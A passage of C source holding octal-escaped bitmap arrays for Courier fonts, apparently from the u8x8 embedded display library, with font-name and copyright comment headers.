"\0\0\0\0\0\0\0\0\0\0\200\200@@ \0\0\0\0\0\4\16\12\21\21 @@\200\200" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\22\22\22\22\22\22\22\22\22\22\22\22\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0 @@\200\200\0\0\0\0\0\0\0\0\0\0\200\200@@ \21\21\12\16" "\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\20\20\20\20\20 \300\0" "\0\0\0\0\0\0\0\0\0\0\60\10\10\4\3\0\0\0\0\0\0\0\0\0\0\0\3\3\0\0\0\0" "\0\0\0\0\0\0\340\30\10\4\4\4\204\210\360\0\0\0\0\0\0\0\377\0\0\0\36!@@\177@" "\0\0\0\0\0\0\1\6\4\10\10\10\10\14\4\0\0\0\0\0\0\0\0\20\20\320\60\20\60\300\0\0" "\0\0\0\0\0\0\200p\36\21\20\20\20\21\36p\200\0\0\0\0\2\3\2\2\0\0\0\0\0\2\2" "\3\2\0\0\0\20\20\360\20\20\20\20\20\20\20 \300\0\0\0\0\0\0\377\4\4\4\4\4\4\4\12" "\361\0\0\0\0\2\2\3\2\2\2\2\2\2\2\1\0\0\0\0\0\0\0\300` \20\20\20\20 @" "\360\0\0\0\0\0\77\300\200\0\0\0\0\0\0\200\300\0\0\0\0\0\0\0\1\1\2\2\2\2\1\1" "\0\0\0\0\0\20\360\20\20\20\20\20\20\20 `\200\0\0\0\0\0\377\0\0\0\0\0\0\0\0\200" "\177\0\0\0\0\2\3\2\2\2\2\2\2\2\1\1\0\0\0\0\0\20\20\360\20\20\20\20\20\20\20\360" "\0\0\0\0\0\0\0\377\4\4\4\37\0\0\0\0\340\0\0\0\0\2\2\3\2\2\2\2\2\2\2\2" "\3\0\0\0\0\0\20\20\360\20\20\20\20\20\20\20\360\0\0\0\0\0\0\0\377\4\4\4\37\0\0\0" "\0\0\0\0\0\0\2\2\3\2\2\2\2\0\0\0\0\0\0\0\0\0\300` \20\20\20\20 @\360" "\0\0\0\0\0\77\300\200\0\0\0\20\20\20\20\360\20\0\0\0\0\0\0\1\1\2\2\2\2\2\1\0" "\0\0\0\0\0\20\20\360\20\20\0\0\0\20\20\360\20\20\0\0\0\0\0\377\4\4\4\4\4\4\4\377" "\0\0\0\0\0\2\2\3\2\2\0\0\0\2\2\3\2\2\0\0\0\0\0\20\20\20\20\360\20\20\20\20" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\2\2\2\2\3\2\2\2\2" "\0\0\0\0\0\0\0\0\0\20\20\20\20\20\360\20\20\20\0\0\0\0\360\0\0\0\0\0\0\200\177\0" "\0\0\0\0\0\0\0\1\2\2\2\2\1\1\0\0\0\0\0\0\0\20\20\360\20\20\0\0\200P\60\20" "\20\0\0\0\0\0\0\377\10\4\6\11\20 \300\0\0\0\0\0\0\2\2\3\2\2\0\0\0\0\2\3" "\2\2\0\0\0\20\20\20\360\20\20\20\0\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0" "\340\0\0\0\0\2\2\2\3\2\2\2\2\2\2\2\3\0\0\0\0\20\360p\200\0\0\0\0\0\200p" "\360\20\0\0\0\0\377\0\1\6\30\20\30\6\1\0\377\0\0\0\0\2\3\2\2\0\0\0\0\0\2\2" "\3\2\0\0\20\20\360\60@\200\0\0\20\20\20\360\20\20\0\0\0\0\377\0\0\1\6\30`\200\0\377" "\0\0\0\0\2\2\3\2\2\2\0\0\0\0\3\3\0\0\0\0\0\0\300` \20\20\20\20\20 `" "\300\0\0\0\0\77\300\200\0\0\0\0\0\0\0\200\300\77\0\0\0\0\0\1\1\2\2\2\2\2\1\1" "\0\0\0\0\0\0\20\20\360\20\20\20\20\20\20 \300\0\0\0\0\0\0\0\377\10\10\10\10\10\10\4" "\3\0\0\0\0\0\2\2\3\2\2\2\2\0\0\0\0\0\0\0\0\0\300` \20\20\20\20\20 `" "\300\0\0\0\0\77\300\200\0\0\0\0\0\0\0\200\300\77\0\0\0\0\0\1\11\12\6\16\12\12\11\5" "\4\0\0\0\0\20\20\360\20\20\20\20\20\20 \300\0\0\0\0\0\0\0\377\10\10\10\10\30(\304\3" "\0\0\0\0\0\2\2\3\2\2\0\0\0\0\0\3\2\2\0\0\0\0\300 \20\20\20\20 @\360" "\0\0\0\0\0\0\301\202\2\4\4\4\4\10\10\360\0\0\0\0\0\0\3\0\1\2\2\2\2\2\1\0" "\0\0\0\0\0\0\360\20\20\20\20\360\20\20\20\20\360\0\0\0\0\0\1\0\0\0\0\377\0\0\0\0" "\1\0\0\0\0\0\0\0\2\2\2\3\2\2\2\0\0\0\0\0\0\20\360\20\20\20\0\0\20\20\20\360" "\20\0\0\0\0\0\377\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\1\2\2\2\2\2\2\1\0" "\0\0\0\0\0\20p\220\20\20\0\0\0\20\20\220p\20\0\0\0\0\0\1\16p\200\0\200p\16\1" "\0\0\0\0\0\0\0\0\0\0\1\3\1\0\0\0\0\0\0\0\0\20\360\20\20\20\0\200\0\20\20\20" "\360\20\0\0\0\0\7\370\200p\16\1\16p\200\370\7\0\0\0\0\0\0\3\3\0\0\0\0\0\3\3" "\0\0\0\0\0\20\20\60\320\20\0\0\0\20\320\60\20\20\0\0\0\0\0\200@\61\12\4\12\61@\200" "\0\0\0\0\0\2\2\3\2\2\0\0\0\2\2\3\2\2\0\0\0\20\20\60\320\0\0\0\0\0\320\60" "\20\20\0\0\0\0\0\0\0\3\4\370\4\3\0\0\0\0\0\0\0\0\0\0\2\2\2\3\2\2\2\0" "\0\0\0\0\0\0\360\20\20\20\20\20\20\220P\60\0\0\0\0\0\0\1\200@\60\10\4\3\0\0\340" "\0\0\0\0\0\0\3\2\2\2\2\2\2\2\2\3\0\0\0\0\0\0\0\0\0\0\0\374\4\4\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\20\20\0\0" "\0\0\0\0\0\0\0\14\60\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\14\60\300\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\14\0\0\0\0\0\0\0\0\0\4\4\374\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\20\20\37\0\0\0\0" "\0\0\0\0\0\0\0@ \20\10\14\10\20 @\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@@@@@@@@@@@@" "@@@\0\0\0\0\0\4\14\30\60 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\0\0\0" "\0\0\0\0\0\0\340\21\10\10\10\10\10\21\376\0\0\0\0\0\0\0\0\1\2\2\2\2\2\1\3\2" "\2\0\0\0\0\10\10\370\0\0\200\200\200\200\200\0\0\0\0\0\0\0\0\377\202\1\0\0\0\0\0\1" "\203|\0\0\0\2\2\3\0\1\2\2\2\2\2\1\1\0\0\0\0\0\0\0\0\200\200\200\200\200\0\200" "\0\0\0\0\0\0|\203\1\0\0\0\0\0\1\207\200\0\0\0\0\0\0\1\1\2\2\2\2\2\1\1" "\0\0\0\0\0\0\0\0\200\200\200\200\200\10\10\370\0\0\0\0\0|\203\1\0\0\0\0\0\1\202\377" "\0\0\0\0\0\0\1\1\2\2\2\2\2\1\0\3\2\2\0\0\0\0\0\0\0\200\200\200\200\200\0\0" "\0\0\0\0\0\0|\223\21\20\20\20\20\20\21\23\34\0\0\0\0\0\0\1\1\2\2\2\2\2\2\1" "\1\0\0\0\0\0\0\200\200\200\360\230\210\210\210\210\20\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0" "\0\0\0\0\0\0\0\2\2\2\3\2\2\2\2\2\0\0\0\0\0\0\0\0\200\200\200\200\200\0\0\200" "\200\200\0\0\0|\203\1\0\0\0\0\0\1\202\377\0\0\0\0\0\0\1ABBBBB!\60\17" "\0\0\0\0\0\10\10\370\0\0\200\200\200\200\0\0\0\0\0\0\0\0\0\377\2\1\0\0\0\0\1\376" "\0\0\0\0\0\2\2\3\2\2\0\0\0\2\2\3\2\2\0\0\0\0\0\0\200\200\200\234\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\2\2\2\2\3\2\2\2\2" "\0\0\0\0\0\0\0\200\200\200\200\200\200\234\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\0" "\0\0\0\0\0\0\0@@@@@ \60\17\0\0\0\0\0\0\0\10\10\370\0\0\0\200\200\200\200" "\0\0\0\0\0\0\0\0\377\20\30$B\201\0\0\0\0\0\0\0\0\2\2\3\0\0\0\0\2\3\2" "\2\0\0\0\0\0\0\10\10\10\10\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0" "\0\0\0\0\0\0\2\2\2\2\2\3\2\2\2\2\2\0\0\0\200\200\200\0\200\200\200\0\0\200\200\200" "\0\0\0\0\0\0\377\1\0\0\0\377\1\0\0\0\377\0\0\0\2\2\3\2\2\0\0\3\2\0\0\0" "\3\2\0\0\0\200\200\200\0\0\200\200\200\200\0\0\0\0\0\0\0\0\0\377\2\1\0\0\0\0\1\376" "\0\0\0\0\0\2\2\3\2\2\0\0\0\2\2\3\2\2\0\0\0\0\0\0\0\200\200\200\200\200\0\0" "\0\0\0\0\0\0|\203\1\0\0\0\0\0\1\203|\0\0\0\0\0\0\1\1\2\2\2\2\2\1\1" "\0\0\0\0\0\200\200\200\0\0\200\200\200\200\200\0\0\0\0\0\0\0\0\377\202\1\0\0\0\0\0\1" "\203|\0\0\0@@\177@AB\2\2\2\2\1\1\0\0\0\0\0\0\0\200\200\200\200\200\0\0\200" "\200\200\0\0\0|\203\1\0\0\0\0\0\1\202\377\0\0\0\0\0\0\1\1\2\2\2\2BA@\177" "@@\0\0\0\0\0\200\200\200\0\0\0\200\200\200\0\0\0\0\0\0\0\0\0\377\2\1\1\0\0\0" "\1\0\0\0\0\0\2\2\2\3\2\2\2\2\2\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\0\200" "\0\0\0\0\0\0\0\200\7\10\10\10\20\20\21\343\0\0\0\0\0\0\0\3\1\2\2\2\2\2\1\0" "\0\0\0\0\0\0\200\200\370\200\200\200\200\200\200\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\1\2\2\2\2\1\1\0\0\0\0\0\200\200\200\0\0\0\0\0\200\200\200" "\0\0\0\0\0\0\0\377\0\0\0\0\0\0\200\377\0\0\0\0\0\0\0\0\1\2\2\2\2\1\0\3" "\2\0\0\0\0\200\200\200\200\200\0\0\0\200\200\200\200\200\0\0\0\0\0\3\34`\200\0\200`\34\3" "\0\0\0\0\0\0\0\0\0\0\1\3\1\0\0\0\0\0\0\0\0\200\200\200\200\0\0\0\0\0\200\200" "\200\200\0\0\0\0\7x\200\0\360\14\360\0\200x\7\0\0\0\0\0\0\0\3\3\0\0\0\3\3\0" "\0\0\0\0\0\0\200\200\200\200\0\0\0\200\200\200\200\0\0\0\0\0\0\1\202D(\20(D\202\1" "\0\0\0\0\0\0\2\3\2\2\0\0\0\2\2\3\2\0\0\0\0\200\200\200\200\0\0\0\0\200\200\200" "\200\0\0\0\0\0\3\34`\200\0\0\300\60\14\3\0\0\0\0\0@@@@qNC\0\0\0\0" "\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\0\0\0\0\0\0\0\3\200@ \20\10\4\2\201" "\0\0\0\0\0\0\0\3\2\2\2\2\2\2\2\3\0\0\0\0\0\0\0\0\0\0\0\370\4\4\0\0" "\0\0\0\0\0\0\0\0\0\10\10\367\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\20\20\0\0" "\0\0\0\0\0\0\0\0\0\0\0\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\37\0\0\0\0\0\0\0\0\0\0\0\0\0\4\4\370\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\367\10\10\0\0\0\0\0\0\0\0\0\0\0\20\20\17\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\14\6\2\2\6\14\10\10\14\6" "\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; /* Fontname: -Adobe-Courier-Medium-R-Normal--25-180-100-100-M-150-ISO10646-1 Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved. Glyphs: 18/873 BBX Build Mode: 3 */ const uint8_t u8x8_font_courR18_2x3_n[1300] U8X8_FONT_SECTION("u8x8_font_courR18_2x3_n") = " :\2\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\200\0\0\360\0\0\200\200\0\0\0\0\0\0\0\20\31\15\7\3\7\15\31\20" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0\0" "\0\0\0\0\0\0\20\20\20\20\20\377\20\20\20\20\20\0\0\0\0\0\0\0\0\0\0\3\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0`\70\36\16\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\20\20\20\20\20\20\20\20\20\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\16\16\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\60" "\0\0\0\0\0\0\0\0\0\0\300\60\14\3\0\0\0\0\0\0\0\0\0\60\14\3\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300@ @\300\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\377" "\0\0\0\0\0\0\0\1\6\4\10\10\10\4\6\1\0\0\0\0\0\0\0@@@ \340\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\10\10\10\10\17\10\10\10\10" "\0\0\0\0\0\0\200@@ @\200\0\0\0\0\0\0\0\1\0\0\200@ \20\10\7\0" "\0\0\0\0\0\0\14\12\11\10\10\10\10\10\10\14\0\0\0\0\0\0\0@ @\300\0" "\0\0\0\0\0\0\0\0\0\10\10\10\10\24\23\340\0\0\0\0\0\0\2\4\4\10\10\10\10\4\4\3" "\0\0\0\0\0\0\0\0\0\0\200@ \340\0\0\0\0\0\0\0\0\300\260\214\202\201\200\200\377\200\200" "\0\0\0\0\0\0\0\0\0\0\10\10\10\17\10\10\0\0\0\0\0\0\0\340 \0" "\0\0\0\0\0\0\0\17\10\4\4\4\4\10\30\340\0\0\0\0\0\0\4\4\10\10\10\10\10\4\6\1" "\0\0\0\0\0\0\0\0\200\300@ \0\0\0\0\0\0\0\0\376\21\10\4\4\4\4\10\360" "\0\0\0\0\0\0\0\1\6\4\10\10\10\10\4\3\0\0\0\0\0\0\340 \240`\0" "\0\0\0\0\0\0\0\0\0\0\0\300<\3\0\0\0\0\0\0\0\0\0\0\0\0\16\1\0\0\0\0" "\0\0\0\0\0\0\0\200@ @\200\0\0\0\0\0\0\0\300'\30\20\20\20\20\30'\300" "\0\0\0\0\0\0\1\6\4\10\10\10\10\4\6\1\0\0\0\0\0\0\0\200\300@ @\300\200" "\0\0\0\0\0\0\0\7\30\20 \20\10\377\0\0\0\0\0\0\0\10\10\10\10\10\4\4\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\16\16\16\0\0\0" "\0\0\0\0\0\0\0\0\0\0\16\16\16\0\0\0\0\0\0"; /* Fontname: -Adobe-Courier-Bold-R-Normal--34-240-100-100-M-200-ISO10646-1 Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved. Glyphs: 191/873 BBX Build Mode: 3 */ const uint8_t u8x8_font_courB24_3x4_f[21508] U8X8_FONT_SECTION("u8x8_font_courB24_3x4_f") = " \377\3\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\370\374\374\374\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 qsq " "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\370\370\370\0\0\0\370\370\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\17\37\17\0\0\0\17\37\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\200\207" "\207\377\377\377\207\207\207\377\377\377\207\207\7\0\0\0\0\0\0\0\0\0\3\3\377\377\377\3\3\3\377\377" "\377\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\0\0\0\3\3\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\360p\70\77\77\77\70x\360\370\370\0\0\0\0\0\0\0\0\0\0\0\7" "\17\37\36\34<<\70xx\361\361\341\300\0\0\0\0\0\0\0\0\0\0\77\77\77\34\30\370\370\370\70" "\30\34\37\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\340\370\34\14\14\14\34\370\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\301" "\303\347ff\66\267\333\331\334\314\316\206\7\0\0\0\0\0\0\0\0\0\1\1\0\0\0\0\17\77q`" "``q\77\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\300\340\340\340\340\300\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300" "\317\377\377\371\340\300\200\1\301\300\300\300\0\0\0\0\0\0\0\0\0\0\37\77\177qppqs\77\36" "\177\177qq\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\374\374|\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\374<\34\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\370\377\377\77\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\77\377\377" "\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\17\16\0\0\0\0\0" "\0\0\0\0\0\0\0\0\34<\374\360\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\1\77\377\377\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\377\377\77\7\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\16\17\17\3\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\300\200\200\0\374\374\374\0\200\200\300\300\200\0\0\0\0\0\0\0\0\0\0" "A\341\363\177\77\37\17\37\77\177\363\341A\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\340\340\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0ppp" "pppp\377\377\377ppppppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\374|<\14" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\16\17\7\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0pp" "ppppppppppppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\60xxx\60" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\374\377\37\7\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\300\360\374\177\37\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\376\77\17\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\360\370x\34\34\34\34\34x\370\360\300\0\0\0\0\0\0\0\0\0\0\0\377" "\377\377\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\7\37\77\177\367\343\200\0\0\0\0\0\0\0\0\0\70\70xppppppp" "x<\77\37\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\340\370|\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\200\340" "\360\374\277\217\207\201\200\377\377\377\200\200\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3sss\177" "\177\177ss\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\374\374\374\34\34\34\34\34\34\34\34\34\0\0\0\0\0\0\0\0\0\0\0\0" "\37\37\37\16\16\16\16\36\36<\374\370\340\0\0\0\0\0\0\0\0\0\30<\70xpppppp" "x<\77\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\340\360x\70<\34\34\34\34\34\0\0\0\0\0\0\0\0\0\0\0\374" "\377\377s\70\30\34\34\34xpppp" "x<\77\37\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\374\374\374\34\34\34\34\34\34\34\374\374\374<\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\360\376\377\37\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0p|\177\37\7" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\360\370\70\34\34\34\34\34\70\370\360\300\0\0\0\0\0\0\0\0\0\0\0\301" "\347\377~<<\34\34<>\177\367\341\300\0\0\0\0\0\0\0\0\0\0\17\37\77\70xpppp" "x\70\77\37\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\360\370x<\34\34\34\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\70\70\70\370\370\370\70\70\70\70\70\70\70\370\370\370\0\0\0\0\0\0\0\0\0\0\0" "\377\377\377\70\70\70\376\376\376\0\3\3\3\0\0\0\0\0\0\0\0ppp\177\177\177ppppp" "ppp\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\70\70\70\370\370\370\70\70\70\70\70\70\70\70\370\370\370\0\0\0\0\0\0\0\0\0\0" "\377\377\377\70\70\70\376\376\376\0\0\3\3\3\0\0\0\0\0\0\0ppp\177\177\177ppppp" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\360p\70\70\70\70\70\70p\360\370\370\0\0\0\0\0\0\0\0\376\377" "\377\3\0\0\0\0\300\300\300\300\300\303\303\303\300\0\0\0\0\0\0\0\3\17\37>\70xppqq" "qqy\77\77\37\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\70\70\370\370\370\70\70\70\0\70\70\70\370\370\370\70\70\0\0\0\0\0\0\0\0\0\377" "\377\377\70\70\70\70\70\70\70\377\377\377\0\0\0\0\0\0\0\0\0pp\177\177\177ppp\0pp" "p\177\177\177pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\70\70\70\70\70\370\370\370\70\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0ppppp\177\177\177p" "pppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70\370\370\370\70\70\70\70\0\0\0\0\0\0\0\340\340" "\340\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\37\77\77xppppx<" "\77\37\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\70\70\70\370\370\370\70\70\70\0\0\270\370\370\370x\70\70\0\0\0\0\0\0\0\0\0" 